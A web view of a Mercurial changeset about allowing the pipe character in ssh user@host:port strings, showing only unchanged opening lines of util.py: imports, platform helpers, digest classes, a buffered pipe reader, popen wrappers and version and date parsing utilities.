##// END OF EJS Templates
ssh: unban the use of pipe character in user@host:port string...
Yuya Nishihara -
r33716:943c9132 4.2.3 stable
parent child Browse files
Show More
@@ -1,3765 +1,3764 b''
1 # util.py - Mercurial utility functions and platform specific implementations
1 # util.py - Mercurial utility functions and platform specific implementations
2 #
2 #
3 # Copyright 2005 K. Thananchayan <thananck@yahoo.com>
3 # Copyright 2005 K. Thananchayan <thananck@yahoo.com>
4 # Copyright 2005-2007 Matt Mackall <mpm@selenic.com>
4 # Copyright 2005-2007 Matt Mackall <mpm@selenic.com>
5 # Copyright 2006 Vadim Gelfer <vadim.gelfer@gmail.com>
5 # Copyright 2006 Vadim Gelfer <vadim.gelfer@gmail.com>
6 #
6 #
7 # This software may be used and distributed according to the terms of the
7 # This software may be used and distributed according to the terms of the
8 # GNU General Public License version 2 or any later version.
8 # GNU General Public License version 2 or any later version.
9
9
10 """Mercurial utility functions and platform specific implementations.
10 """Mercurial utility functions and platform specific implementations.
11
11
12 This contains helper routines that are independent of the SCM core and
12 This contains helper routines that are independent of the SCM core and
13 hide platform-specific details from the core.
13 hide platform-specific details from the core.
14 """
14 """
15
15
16 from __future__ import absolute_import
16 from __future__ import absolute_import
17
17
18 import bz2
18 import bz2
19 import calendar
19 import calendar
20 import codecs
20 import codecs
21 import collections
21 import collections
22 import datetime
22 import datetime
23 import errno
23 import errno
24 import gc
24 import gc
25 import hashlib
25 import hashlib
26 import imp
26 import imp
27 import os
27 import os
28 import platform as pyplatform
28 import platform as pyplatform
29 import re as remod
29 import re as remod
30 import shutil
30 import shutil
31 import signal
31 import signal
32 import socket
32 import socket
33 import stat
33 import stat
34 import string
34 import string
35 import subprocess
35 import subprocess
36 import sys
36 import sys
37 import tempfile
37 import tempfile
38 import textwrap
38 import textwrap
39 import time
39 import time
40 import traceback
40 import traceback
41 import warnings
41 import warnings
42 import zlib
42 import zlib
43
43
44 from . import (
44 from . import (
45 encoding,
45 encoding,
46 error,
46 error,
47 i18n,
47 i18n,
48 osutil,
48 osutil,
49 parsers,
49 parsers,
50 pycompat,
50 pycompat,
51 )
51 )
52
52
53 cookielib = pycompat.cookielib
53 cookielib = pycompat.cookielib
54 empty = pycompat.empty
54 empty = pycompat.empty
55 httplib = pycompat.httplib
55 httplib = pycompat.httplib
56 httpserver = pycompat.httpserver
56 httpserver = pycompat.httpserver
57 pickle = pycompat.pickle
57 pickle = pycompat.pickle
58 queue = pycompat.queue
58 queue = pycompat.queue
59 socketserver = pycompat.socketserver
59 socketserver = pycompat.socketserver
60 stderr = pycompat.stderr
60 stderr = pycompat.stderr
61 stdin = pycompat.stdin
61 stdin = pycompat.stdin
62 stdout = pycompat.stdout
62 stdout = pycompat.stdout
63 stringio = pycompat.stringio
63 stringio = pycompat.stringio
64 urlerr = pycompat.urlerr
64 urlerr = pycompat.urlerr
65 urlreq = pycompat.urlreq
65 urlreq = pycompat.urlreq
66 xmlrpclib = pycompat.xmlrpclib
66 xmlrpclib = pycompat.xmlrpclib
67
67
68 # workaround for win32mbcs
68 # workaround for win32mbcs
69 _filenamebytestr = pycompat.bytestr
69 _filenamebytestr = pycompat.bytestr
70
70
71 def isatty(fp):
71 def isatty(fp):
72 try:
72 try:
73 return fp.isatty()
73 return fp.isatty()
74 except AttributeError:
74 except AttributeError:
75 return False
75 return False
76
76
77 # glibc determines buffering on first write to stdout - if we replace a TTY
77 # glibc determines buffering on first write to stdout - if we replace a TTY
78 # destined stdout with a pipe destined stdout (e.g. pager), we want line
78 # destined stdout with a pipe destined stdout (e.g. pager), we want line
79 # buffering
79 # buffering
80 if isatty(stdout):
80 if isatty(stdout):
81 stdout = os.fdopen(stdout.fileno(), pycompat.sysstr('wb'), 1)
81 stdout = os.fdopen(stdout.fileno(), pycompat.sysstr('wb'), 1)
82
82
83 if pycompat.osname == 'nt':
83 if pycompat.osname == 'nt':
84 from . import windows as platform
84 from . import windows as platform
85 stdout = platform.winstdout(stdout)
85 stdout = platform.winstdout(stdout)
86 else:
86 else:
87 from . import posix as platform
87 from . import posix as platform
88
88
89 _ = i18n._
89 _ = i18n._
90
90
91 bindunixsocket = platform.bindunixsocket
91 bindunixsocket = platform.bindunixsocket
92 cachestat = platform.cachestat
92 cachestat = platform.cachestat
93 checkexec = platform.checkexec
93 checkexec = platform.checkexec
94 checklink = platform.checklink
94 checklink = platform.checklink
95 copymode = platform.copymode
95 copymode = platform.copymode
96 executablepath = platform.executablepath
96 executablepath = platform.executablepath
97 expandglobs = platform.expandglobs
97 expandglobs = platform.expandglobs
98 explainexit = platform.explainexit
98 explainexit = platform.explainexit
99 findexe = platform.findexe
99 findexe = platform.findexe
100 gethgcmd = platform.gethgcmd
100 gethgcmd = platform.gethgcmd
101 getuser = platform.getuser
101 getuser = platform.getuser
102 getpid = os.getpid
102 getpid = os.getpid
103 groupmembers = platform.groupmembers
103 groupmembers = platform.groupmembers
104 groupname = platform.groupname
104 groupname = platform.groupname
105 hidewindow = platform.hidewindow
105 hidewindow = platform.hidewindow
106 isexec = platform.isexec
106 isexec = platform.isexec
107 isowner = platform.isowner
107 isowner = platform.isowner
108 localpath = platform.localpath
108 localpath = platform.localpath
109 lookupreg = platform.lookupreg
109 lookupreg = platform.lookupreg
110 makedir = platform.makedir
110 makedir = platform.makedir
111 nlinks = platform.nlinks
111 nlinks = platform.nlinks
112 normpath = platform.normpath
112 normpath = platform.normpath
113 normcase = platform.normcase
113 normcase = platform.normcase
114 normcasespec = platform.normcasespec
114 normcasespec = platform.normcasespec
115 normcasefallback = platform.normcasefallback
115 normcasefallback = platform.normcasefallback
116 openhardlinks = platform.openhardlinks
116 openhardlinks = platform.openhardlinks
117 oslink = platform.oslink
117 oslink = platform.oslink
118 parsepatchoutput = platform.parsepatchoutput
118 parsepatchoutput = platform.parsepatchoutput
119 pconvert = platform.pconvert
119 pconvert = platform.pconvert
120 poll = platform.poll
120 poll = platform.poll
121 popen = platform.popen
121 popen = platform.popen
122 posixfile = platform.posixfile
122 posixfile = platform.posixfile
123 quotecommand = platform.quotecommand
123 quotecommand = platform.quotecommand
124 readpipe = platform.readpipe
124 readpipe = platform.readpipe
125 rename = platform.rename
125 rename = platform.rename
126 removedirs = platform.removedirs
126 removedirs = platform.removedirs
127 samedevice = platform.samedevice
127 samedevice = platform.samedevice
128 samefile = platform.samefile
128 samefile = platform.samefile
129 samestat = platform.samestat
129 samestat = platform.samestat
130 setbinary = platform.setbinary
130 setbinary = platform.setbinary
131 setflags = platform.setflags
131 setflags = platform.setflags
132 setsignalhandler = platform.setsignalhandler
132 setsignalhandler = platform.setsignalhandler
133 shellquote = platform.shellquote
133 shellquote = platform.shellquote
134 spawndetached = platform.spawndetached
134 spawndetached = platform.spawndetached
135 split = platform.split
135 split = platform.split
136 sshargs = platform.sshargs
136 sshargs = platform.sshargs
137 statfiles = getattr(osutil, 'statfiles', platform.statfiles)
137 statfiles = getattr(osutil, 'statfiles', platform.statfiles)
138 statisexec = platform.statisexec
138 statisexec = platform.statisexec
139 statislink = platform.statislink
139 statislink = platform.statislink
140 testpid = platform.testpid
140 testpid = platform.testpid
141 umask = platform.umask
141 umask = platform.umask
142 unlink = platform.unlink
142 unlink = platform.unlink
143 username = platform.username
143 username = platform.username
144
144
145 # Python compatibility
145 # Python compatibility
146
146
147 _notset = object()
147 _notset = object()
148
148
149 # disable Python's problematic floating point timestamps (issue4836)
149 # disable Python's problematic floating point timestamps (issue4836)
150 # (Python hypocritically says you shouldn't change this behavior in
150 # (Python hypocritically says you shouldn't change this behavior in
151 # libraries, and sure enough Mercurial is not a library.)
151 # libraries, and sure enough Mercurial is not a library.)
152 os.stat_float_times(False)
152 os.stat_float_times(False)
153
153
154 def safehasattr(thing, attr):
154 def safehasattr(thing, attr):
155 return getattr(thing, attr, _notset) is not _notset
155 return getattr(thing, attr, _notset) is not _notset
156
156
157 def bitsfrom(container):
157 def bitsfrom(container):
158 bits = 0
158 bits = 0
159 for bit in container:
159 for bit in container:
160 bits |= bit
160 bits |= bit
161 return bits
161 return bits
162
162
163 # python 2.6 still have deprecation warning enabled by default. We do not want
163 # python 2.6 still have deprecation warning enabled by default. We do not want
164 # to display anything to standard user so detect if we are running test and
164 # to display anything to standard user so detect if we are running test and
165 # only use python deprecation warning in this case.
165 # only use python deprecation warning in this case.
166 _dowarn = bool(encoding.environ.get('HGEMITWARNINGS'))
166 _dowarn = bool(encoding.environ.get('HGEMITWARNINGS'))
167 if _dowarn:
167 if _dowarn:
168 # explicitly unfilter our warning for python 2.7
168 # explicitly unfilter our warning for python 2.7
169 #
169 #
170 # The option of setting PYTHONWARNINGS in the test runner was investigated.
170 # The option of setting PYTHONWARNINGS in the test runner was investigated.
171 # However, module name set through PYTHONWARNINGS was exactly matched, so
171 # However, module name set through PYTHONWARNINGS was exactly matched, so
172 # we cannot set 'mercurial' and have it match eg: 'mercurial.scmutil'. This
172 # we cannot set 'mercurial' and have it match eg: 'mercurial.scmutil'. This
173 # makes the whole PYTHONWARNINGS thing useless for our usecase.
173 # makes the whole PYTHONWARNINGS thing useless for our usecase.
174 warnings.filterwarnings(r'default', r'', DeprecationWarning, r'mercurial')
174 warnings.filterwarnings(r'default', r'', DeprecationWarning, r'mercurial')
175 warnings.filterwarnings(r'default', r'', DeprecationWarning, r'hgext')
175 warnings.filterwarnings(r'default', r'', DeprecationWarning, r'hgext')
176 warnings.filterwarnings(r'default', r'', DeprecationWarning, r'hgext3rd')
176 warnings.filterwarnings(r'default', r'', DeprecationWarning, r'hgext3rd')
177
177
178 def nouideprecwarn(msg, version, stacklevel=1):
178 def nouideprecwarn(msg, version, stacklevel=1):
179 """Issue an python native deprecation warning
179 """Issue an python native deprecation warning
180
180
181 This is a noop outside of tests, use 'ui.deprecwarn' when possible.
181 This is a noop outside of tests, use 'ui.deprecwarn' when possible.
182 """
182 """
183 if _dowarn:
183 if _dowarn:
184 msg += ("\n(compatibility will be dropped after Mercurial-%s,"
184 msg += ("\n(compatibility will be dropped after Mercurial-%s,"
185 " update your code.)") % version
185 " update your code.)") % version
186 warnings.warn(msg, DeprecationWarning, stacklevel + 1)
186 warnings.warn(msg, DeprecationWarning, stacklevel + 1)
187
187
188 DIGESTS = {
188 DIGESTS = {
189 'md5': hashlib.md5,
189 'md5': hashlib.md5,
190 'sha1': hashlib.sha1,
190 'sha1': hashlib.sha1,
191 'sha512': hashlib.sha512,
191 'sha512': hashlib.sha512,
192 }
192 }
193 # List of digest types from strongest to weakest
193 # List of digest types from strongest to weakest
194 DIGESTS_BY_STRENGTH = ['sha512', 'sha1', 'md5']
194 DIGESTS_BY_STRENGTH = ['sha512', 'sha1', 'md5']
195
195
196 for k in DIGESTS_BY_STRENGTH:
196 for k in DIGESTS_BY_STRENGTH:
197 assert k in DIGESTS
197 assert k in DIGESTS
198
198
199 class digester(object):
199 class digester(object):
200 """helper to compute digests.
200 """helper to compute digests.
201
201
202 This helper can be used to compute one or more digests given their name.
202 This helper can be used to compute one or more digests given their name.
203
203
204 >>> d = digester(['md5', 'sha1'])
204 >>> d = digester(['md5', 'sha1'])
205 >>> d.update('foo')
205 >>> d.update('foo')
206 >>> [k for k in sorted(d)]
206 >>> [k for k in sorted(d)]
207 ['md5', 'sha1']
207 ['md5', 'sha1']
208 >>> d['md5']
208 >>> d['md5']
209 'acbd18db4cc2f85cedef654fccc4a4d8'
209 'acbd18db4cc2f85cedef654fccc4a4d8'
210 >>> d['sha1']
210 >>> d['sha1']
211 '0beec7b5ea3f0fdbc95d0dd47f3c5bc275da8a33'
211 '0beec7b5ea3f0fdbc95d0dd47f3c5bc275da8a33'
212 >>> digester.preferred(['md5', 'sha1'])
212 >>> digester.preferred(['md5', 'sha1'])
213 'sha1'
213 'sha1'
214 """
214 """
215
215
216 def __init__(self, digests, s=''):
216 def __init__(self, digests, s=''):
217 self._hashes = {}
217 self._hashes = {}
218 for k in digests:
218 for k in digests:
219 if k not in DIGESTS:
219 if k not in DIGESTS:
220 raise Abort(_('unknown digest type: %s') % k)
220 raise Abort(_('unknown digest type: %s') % k)
221 self._hashes[k] = DIGESTS[k]()
221 self._hashes[k] = DIGESTS[k]()
222 if s:
222 if s:
223 self.update(s)
223 self.update(s)
224
224
225 def update(self, data):
225 def update(self, data):
226 for h in self._hashes.values():
226 for h in self._hashes.values():
227 h.update(data)
227 h.update(data)
228
228
229 def __getitem__(self, key):
229 def __getitem__(self, key):
230 if key not in DIGESTS:
230 if key not in DIGESTS:
231 raise Abort(_('unknown digest type: %s') % k)
231 raise Abort(_('unknown digest type: %s') % k)
232 return self._hashes[key].hexdigest()
232 return self._hashes[key].hexdigest()
233
233
234 def __iter__(self):
234 def __iter__(self):
235 return iter(self._hashes)
235 return iter(self._hashes)
236
236
237 @staticmethod
237 @staticmethod
238 def preferred(supported):
238 def preferred(supported):
239 """returns the strongest digest type in both supported and DIGESTS."""
239 """returns the strongest digest type in both supported and DIGESTS."""
240
240
241 for k in DIGESTS_BY_STRENGTH:
241 for k in DIGESTS_BY_STRENGTH:
242 if k in supported:
242 if k in supported:
243 return k
243 return k
244 return None
244 return None
245
245
246 class digestchecker(object):
246 class digestchecker(object):
247 """file handle wrapper that additionally checks content against a given
247 """file handle wrapper that additionally checks content against a given
248 size and digests.
248 size and digests.
249
249
250 d = digestchecker(fh, size, {'md5': '...'})
250 d = digestchecker(fh, size, {'md5': '...'})
251
251
252 When multiple digests are given, all of them are validated.
252 When multiple digests are given, all of them are validated.
253 """
253 """
254
254
255 def __init__(self, fh, size, digests):
255 def __init__(self, fh, size, digests):
256 self._fh = fh
256 self._fh = fh
257 self._size = size
257 self._size = size
258 self._got = 0
258 self._got = 0
259 self._digests = dict(digests)
259 self._digests = dict(digests)
260 self._digester = digester(self._digests.keys())
260 self._digester = digester(self._digests.keys())
261
261
262 def read(self, length=-1):
262 def read(self, length=-1):
263 content = self._fh.read(length)
263 content = self._fh.read(length)
264 self._digester.update(content)
264 self._digester.update(content)
265 self._got += len(content)
265 self._got += len(content)
266 return content
266 return content
267
267
268 def validate(self):
268 def validate(self):
269 if self._size != self._got:
269 if self._size != self._got:
270 raise Abort(_('size mismatch: expected %d, got %d') %
270 raise Abort(_('size mismatch: expected %d, got %d') %
271 (self._size, self._got))
271 (self._size, self._got))
272 for k, v in self._digests.items():
272 for k, v in self._digests.items():
273 if v != self._digester[k]:
273 if v != self._digester[k]:
274 # i18n: first parameter is a digest name
274 # i18n: first parameter is a digest name
275 raise Abort(_('%s mismatch: expected %s, got %s') %
275 raise Abort(_('%s mismatch: expected %s, got %s') %
276 (k, v, self._digester[k]))
276 (k, v, self._digester[k]))
277
277
278 try:
278 try:
279 buffer = buffer
279 buffer = buffer
280 except NameError:
280 except NameError:
281 if not pycompat.ispy3:
281 if not pycompat.ispy3:
282 def buffer(sliceable, offset=0, length=None):
282 def buffer(sliceable, offset=0, length=None):
283 if length is not None:
283 if length is not None:
284 return sliceable[offset:offset + length]
284 return sliceable[offset:offset + length]
285 return sliceable[offset:]
285 return sliceable[offset:]
286 else:
286 else:
287 def buffer(sliceable, offset=0, length=None):
287 def buffer(sliceable, offset=0, length=None):
288 if length is not None:
288 if length is not None:
289 return memoryview(sliceable)[offset:offset + length]
289 return memoryview(sliceable)[offset:offset + length]
290 return memoryview(sliceable)[offset:]
290 return memoryview(sliceable)[offset:]
291
291
292 closefds = pycompat.osname == 'posix'
292 closefds = pycompat.osname == 'posix'
293
293
294 _chunksize = 4096
294 _chunksize = 4096
295
295
296 class bufferedinputpipe(object):
296 class bufferedinputpipe(object):
297 """a manually buffered input pipe
297 """a manually buffered input pipe
298
298
299 Python will not let us use buffered IO and lazy reading with 'polling' at
299 Python will not let us use buffered IO and lazy reading with 'polling' at
300 the same time. We cannot probe the buffer state and select will not detect
300 the same time. We cannot probe the buffer state and select will not detect
301 that data are ready to read if they are already buffered.
301 that data are ready to read if they are already buffered.
302
302
303 This class let us work around that by implementing its own buffering
303 This class let us work around that by implementing its own buffering
304 (allowing efficient readline) while offering a way to know if the buffer is
304 (allowing efficient readline) while offering a way to know if the buffer is
305 empty from the output (allowing collaboration of the buffer with polling).
305 empty from the output (allowing collaboration of the buffer with polling).
306
306
307 This class lives in the 'util' module because it makes use of the 'os'
307 This class lives in the 'util' module because it makes use of the 'os'
308 module from the python stdlib.
308 module from the python stdlib.
309 """
309 """
310
310
311 def __init__(self, input):
311 def __init__(self, input):
312 self._input = input
312 self._input = input
313 self._buffer = []
313 self._buffer = []
314 self._eof = False
314 self._eof = False
315 self._lenbuf = 0
315 self._lenbuf = 0
316
316
317 @property
317 @property
318 def hasbuffer(self):
318 def hasbuffer(self):
319 """True is any data is currently buffered
319 """True is any data is currently buffered
320
320
321 This will be used externally a pre-step for polling IO. If there is
321 This will be used externally a pre-step for polling IO. If there is
322 already data then no polling should be set in place."""
322 already data then no polling should be set in place."""
323 return bool(self._buffer)
323 return bool(self._buffer)
324
324
325 @property
325 @property
326 def closed(self):
326 def closed(self):
327 return self._input.closed
327 return self._input.closed
328
328
329 def fileno(self):
329 def fileno(self):
330 return self._input.fileno()
330 return self._input.fileno()
331
331
332 def close(self):
332 def close(self):
333 return self._input.close()
333 return self._input.close()
334
334
335 def read(self, size):
335 def read(self, size):
336 while (not self._eof) and (self._lenbuf < size):
336 while (not self._eof) and (self._lenbuf < size):
337 self._fillbuffer()
337 self._fillbuffer()
338 return self._frombuffer(size)
338 return self._frombuffer(size)
339
339
340 def readline(self, *args, **kwargs):
340 def readline(self, *args, **kwargs):
341 if 1 < len(self._buffer):
341 if 1 < len(self._buffer):
342 # this should not happen because both read and readline end with a
342 # this should not happen because both read and readline end with a
343 # _frombuffer call that collapse it.
343 # _frombuffer call that collapse it.
344 self._buffer = [''.join(self._buffer)]
344 self._buffer = [''.join(self._buffer)]
345 self._lenbuf = len(self._buffer[0])
345 self._lenbuf = len(self._buffer[0])
346 lfi = -1
346 lfi = -1
347 if self._buffer:
347 if self._buffer:
348 lfi = self._buffer[-1].find('\n')
348 lfi = self._buffer[-1].find('\n')
349 while (not self._eof) and lfi < 0:
349 while (not self._eof) and lfi < 0:
350 self._fillbuffer()
350 self._fillbuffer()
351 if self._buffer:
351 if self._buffer:
352 lfi = self._buffer[-1].find('\n')
352 lfi = self._buffer[-1].find('\n')
353 size = lfi + 1
353 size = lfi + 1
354 if lfi < 0: # end of file
354 if lfi < 0: # end of file
355 size = self._lenbuf
355 size = self._lenbuf
356 elif 1 < len(self._buffer):
356 elif 1 < len(self._buffer):
357 # we need to take previous chunks into account
357 # we need to take previous chunks into account
358 size += self._lenbuf - len(self._buffer[-1])
358 size += self._lenbuf - len(self._buffer[-1])
359 return self._frombuffer(size)
359 return self._frombuffer(size)
360
360
361 def _frombuffer(self, size):
361 def _frombuffer(self, size):
362 """return at most 'size' data from the buffer
362 """return at most 'size' data from the buffer
363
363
364 The data are removed from the buffer."""
364 The data are removed from the buffer."""
365 if size == 0 or not self._buffer:
365 if size == 0 or not self._buffer:
366 return ''
366 return ''
367 buf = self._buffer[0]
367 buf = self._buffer[0]
368 if 1 < len(self._buffer):
368 if 1 < len(self._buffer):
369 buf = ''.join(self._buffer)
369 buf = ''.join(self._buffer)
370
370
371 data = buf[:size]
371 data = buf[:size]
372 buf = buf[len(data):]
372 buf = buf[len(data):]
373 if buf:
373 if buf:
374 self._buffer = [buf]
374 self._buffer = [buf]
375 self._lenbuf = len(buf)
375 self._lenbuf = len(buf)
376 else:
376 else:
377 self._buffer = []
377 self._buffer = []
378 self._lenbuf = 0
378 self._lenbuf = 0
379 return data
379 return data
380
380
381 def _fillbuffer(self):
381 def _fillbuffer(self):
382 """read data to the buffer"""
382 """read data to the buffer"""
383 data = os.read(self._input.fileno(), _chunksize)
383 data = os.read(self._input.fileno(), _chunksize)
384 if not data:
384 if not data:
385 self._eof = True
385 self._eof = True
386 else:
386 else:
387 self._lenbuf += len(data)
387 self._lenbuf += len(data)
388 self._buffer.append(data)
388 self._buffer.append(data)
389
389
390 def popen2(cmd, env=None, newlines=False):
390 def popen2(cmd, env=None, newlines=False):
391 # Setting bufsize to -1 lets the system decide the buffer size.
391 # Setting bufsize to -1 lets the system decide the buffer size.
392 # The default for bufsize is 0, meaning unbuffered. This leads to
392 # The default for bufsize is 0, meaning unbuffered. This leads to
393 # poor performance on Mac OS X: http://bugs.python.org/issue4194
393 # poor performance on Mac OS X: http://bugs.python.org/issue4194
394 p = subprocess.Popen(cmd, shell=True, bufsize=-1,
394 p = subprocess.Popen(cmd, shell=True, bufsize=-1,
395 close_fds=closefds,
395 close_fds=closefds,
396 stdin=subprocess.PIPE, stdout=subprocess.PIPE,
396 stdin=subprocess.PIPE, stdout=subprocess.PIPE,
397 universal_newlines=newlines,
397 universal_newlines=newlines,
398 env=env)
398 env=env)
399 return p.stdin, p.stdout
399 return p.stdin, p.stdout
400
400
401 def popen3(cmd, env=None, newlines=False):
401 def popen3(cmd, env=None, newlines=False):
402 stdin, stdout, stderr, p = popen4(cmd, env, newlines)
402 stdin, stdout, stderr, p = popen4(cmd, env, newlines)
403 return stdin, stdout, stderr
403 return stdin, stdout, stderr
404
404
405 def popen4(cmd, env=None, newlines=False, bufsize=-1):
405 def popen4(cmd, env=None, newlines=False, bufsize=-1):
406 p = subprocess.Popen(cmd, shell=True, bufsize=bufsize,
406 p = subprocess.Popen(cmd, shell=True, bufsize=bufsize,
407 close_fds=closefds,
407 close_fds=closefds,
408 stdin=subprocess.PIPE, stdout=subprocess.PIPE,
408 stdin=subprocess.PIPE, stdout=subprocess.PIPE,
409 stderr=subprocess.PIPE,
409 stderr=subprocess.PIPE,
410 universal_newlines=newlines,
410 universal_newlines=newlines,
411 env=env)
411 env=env)
412 return p.stdin, p.stdout, p.stderr, p
412 return p.stdin, p.stdout, p.stderr, p
413
413
414 def version():
414 def version():
415 """Return version information if available."""
415 """Return version information if available."""
416 try:
416 try:
417 from . import __version__
417 from . import __version__
418 return __version__.version
418 return __version__.version
419 except ImportError:
419 except ImportError:
420 return 'unknown'
420 return 'unknown'
421
421
422 def versiontuple(v=None, n=4):
422 def versiontuple(v=None, n=4):
423 """Parses a Mercurial version string into an N-tuple.
423 """Parses a Mercurial version string into an N-tuple.
424
424
425 The version string to be parsed is specified with the ``v`` argument.
425 The version string to be parsed is specified with the ``v`` argument.
426 If it isn't defined, the current Mercurial version string will be parsed.
426 If it isn't defined, the current Mercurial version string will be parsed.
427
427
428 ``n`` can be 2, 3, or 4. Here is how some version strings map to
428 ``n`` can be 2, 3, or 4. Here is how some version strings map to
429 returned values:
429 returned values:
430
430
431 >>> v = '3.6.1+190-df9b73d2d444'
431 >>> v = '3.6.1+190-df9b73d2d444'
432 >>> versiontuple(v, 2)
432 >>> versiontuple(v, 2)
433 (3, 6)
433 (3, 6)
434 >>> versiontuple(v, 3)
434 >>> versiontuple(v, 3)
435 (3, 6, 1)
435 (3, 6, 1)
436 >>> versiontuple(v, 4)
436 >>> versiontuple(v, 4)
437 (3, 6, 1, '190-df9b73d2d444')
437 (3, 6, 1, '190-df9b73d2d444')
438
438
439 >>> versiontuple('3.6.1+190-df9b73d2d444+20151118')
439 >>> versiontuple('3.6.1+190-df9b73d2d444+20151118')
440 (3, 6, 1, '190-df9b73d2d444+20151118')
440 (3, 6, 1, '190-df9b73d2d444+20151118')
441
441
442 >>> v = '3.6'
442 >>> v = '3.6'
443 >>> versiontuple(v, 2)
443 >>> versiontuple(v, 2)
444 (3, 6)
444 (3, 6)
445 >>> versiontuple(v, 3)
445 >>> versiontuple(v, 3)
446 (3, 6, None)
446 (3, 6, None)
447 >>> versiontuple(v, 4)
447 >>> versiontuple(v, 4)
448 (3, 6, None, None)
448 (3, 6, None, None)
449
449
450 >>> v = '3.9-rc'
450 >>> v = '3.9-rc'
451 >>> versiontuple(v, 2)
451 >>> versiontuple(v, 2)
452 (3, 9)
452 (3, 9)
453 >>> versiontuple(v, 3)
453 >>> versiontuple(v, 3)
454 (3, 9, None)
454 (3, 9, None)
455 >>> versiontuple(v, 4)
455 >>> versiontuple(v, 4)
456 (3, 9, None, 'rc')
456 (3, 9, None, 'rc')
457
457
458 >>> v = '3.9-rc+2-02a8fea4289b'
458 >>> v = '3.9-rc+2-02a8fea4289b'
459 >>> versiontuple(v, 2)
459 >>> versiontuple(v, 2)
460 (3, 9)
460 (3, 9)
461 >>> versiontuple(v, 3)
461 >>> versiontuple(v, 3)
462 (3, 9, None)
462 (3, 9, None)
463 >>> versiontuple(v, 4)
463 >>> versiontuple(v, 4)
464 (3, 9, None, 'rc+2-02a8fea4289b')
464 (3, 9, None, 'rc+2-02a8fea4289b')
465 """
465 """
466 if not v:
466 if not v:
467 v = version()
467 v = version()
468 parts = remod.split('[\+-]', v, 1)
468 parts = remod.split('[\+-]', v, 1)
469 if len(parts) == 1:
469 if len(parts) == 1:
470 vparts, extra = parts[0], None
470 vparts, extra = parts[0], None
471 else:
471 else:
472 vparts, extra = parts
472 vparts, extra = parts
473
473
474 vints = []
474 vints = []
475 for i in vparts.split('.'):
475 for i in vparts.split('.'):
476 try:
476 try:
477 vints.append(int(i))
477 vints.append(int(i))
478 except ValueError:
478 except ValueError:
479 break
479 break
480 # (3, 6) -> (3, 6, None)
480 # (3, 6) -> (3, 6, None)
481 while len(vints) < 3:
481 while len(vints) < 3:
482 vints.append(None)
482 vints.append(None)
483
483
484 if n == 2:
484 if n == 2:
485 return (vints[0], vints[1])
485 return (vints[0], vints[1])
486 if n == 3:
486 if n == 3:
487 return (vints[0], vints[1], vints[2])
487 return (vints[0], vints[1], vints[2])
488 if n == 4:
488 if n == 4:
489 return (vints[0], vints[1], vints[2], extra)
489 return (vints[0], vints[1], vints[2], extra)
490
490
491 # used by parsedate
491 # used by parsedate
492 defaultdateformats = (
492 defaultdateformats = (
493 '%Y-%m-%dT%H:%M:%S', # the 'real' ISO8601
493 '%Y-%m-%dT%H:%M:%S', # the 'real' ISO8601
494 '%Y-%m-%dT%H:%M', # without seconds
494 '%Y-%m-%dT%H:%M', # without seconds
495 '%Y-%m-%dT%H%M%S', # another awful but legal variant without :
495 '%Y-%m-%dT%H%M%S', # another awful but legal variant without :
496 '%Y-%m-%dT%H%M', # without seconds
496 '%Y-%m-%dT%H%M', # without seconds
497 '%Y-%m-%d %H:%M:%S', # our common legal variant
497 '%Y-%m-%d %H:%M:%S', # our common legal variant
498 '%Y-%m-%d %H:%M', # without seconds
498 '%Y-%m-%d %H:%M', # without seconds
499 '%Y-%m-%d %H%M%S', # without :
499 '%Y-%m-%d %H%M%S', # without :
500 '%Y-%m-%d %H%M', # without seconds
500 '%Y-%m-%d %H%M', # without seconds
501 '%Y-%m-%d %I:%M:%S%p',
501 '%Y-%m-%d %I:%M:%S%p',
502 '%Y-%m-%d %H:%M',
502 '%Y-%m-%d %H:%M',
503 '%Y-%m-%d %I:%M%p',
503 '%Y-%m-%d %I:%M%p',
504 '%Y-%m-%d',
504 '%Y-%m-%d',
505 '%m-%d',
505 '%m-%d',
506 '%m/%d',
506 '%m/%d',
507 '%m/%d/%y',
507 '%m/%d/%y',
508 '%m/%d/%Y',
508 '%m/%d/%Y',
509 '%a %b %d %H:%M:%S %Y',
509 '%a %b %d %H:%M:%S %Y',
510 '%a %b %d %I:%M:%S%p %Y',
510 '%a %b %d %I:%M:%S%p %Y',
511 '%a, %d %b %Y %H:%M:%S', # GNU coreutils "/bin/date --rfc-2822"
511 '%a, %d %b %Y %H:%M:%S', # GNU coreutils "/bin/date --rfc-2822"
512 '%b %d %H:%M:%S %Y',
512 '%b %d %H:%M:%S %Y',
513 '%b %d %I:%M:%S%p %Y',
513 '%b %d %I:%M:%S%p %Y',
514 '%b %d %H:%M:%S',
514 '%b %d %H:%M:%S',
515 '%b %d %I:%M:%S%p',
515 '%b %d %I:%M:%S%p',
516 '%b %d %H:%M',
516 '%b %d %H:%M',
517 '%b %d %I:%M%p',
517 '%b %d %I:%M%p',
518 '%b %d %Y',
518 '%b %d %Y',
519 '%b %d',
519 '%b %d',
520 '%H:%M:%S',
520 '%H:%M:%S',
521 '%I:%M:%S%p',
521 '%I:%M:%S%p',
522 '%H:%M',
522 '%H:%M',
523 '%I:%M%p',
523 '%I:%M%p',
524 )
524 )
525
525
526 extendeddateformats = defaultdateformats + (
526 extendeddateformats = defaultdateformats + (
527 "%Y",
527 "%Y",
528 "%Y-%m",
528 "%Y-%m",
529 "%b",
529 "%b",
530 "%b %Y",
530 "%b %Y",
531 )
531 )
532
532
533 def cachefunc(func):
533 def cachefunc(func):
534 '''cache the result of function calls'''
534 '''cache the result of function calls'''
535 # XXX doesn't handle keywords args
535 # XXX doesn't handle keywords args
536 if func.__code__.co_argcount == 0:
536 if func.__code__.co_argcount == 0:
537 cache = []
537 cache = []
538 def f():
538 def f():
539 if len(cache) == 0:
539 if len(cache) == 0:
540 cache.append(func())
540 cache.append(func())
541 return cache[0]
541 return cache[0]
542 return f
542 return f
543 cache = {}
543 cache = {}
544 if func.__code__.co_argcount == 1:
544 if func.__code__.co_argcount == 1:
545 # we gain a small amount of time because
545 # we gain a small amount of time because
546 # we don't need to pack/unpack the list
546 # we don't need to pack/unpack the list
547 def f(arg):
547 def f(arg):
548 if arg not in cache:
548 if arg not in cache:
549 cache[arg] = func(arg)
549 cache[arg] = func(arg)
550 return cache[arg]
550 return cache[arg]
551 else:
551 else:
552 def f(*args):
552 def f(*args):
553 if args not in cache:
553 if args not in cache:
554 cache[args] = func(*args)
554 cache[args] = func(*args)
555 return cache[args]
555 return cache[args]
556
556
557 return f
557 return f
558
558
559 class sortdict(dict):
559 class sortdict(dict):
560 '''a simple sorted dictionary'''
560 '''a simple sorted dictionary'''
561 def __init__(self, data=None):
561 def __init__(self, data=None):
562 self._list = []
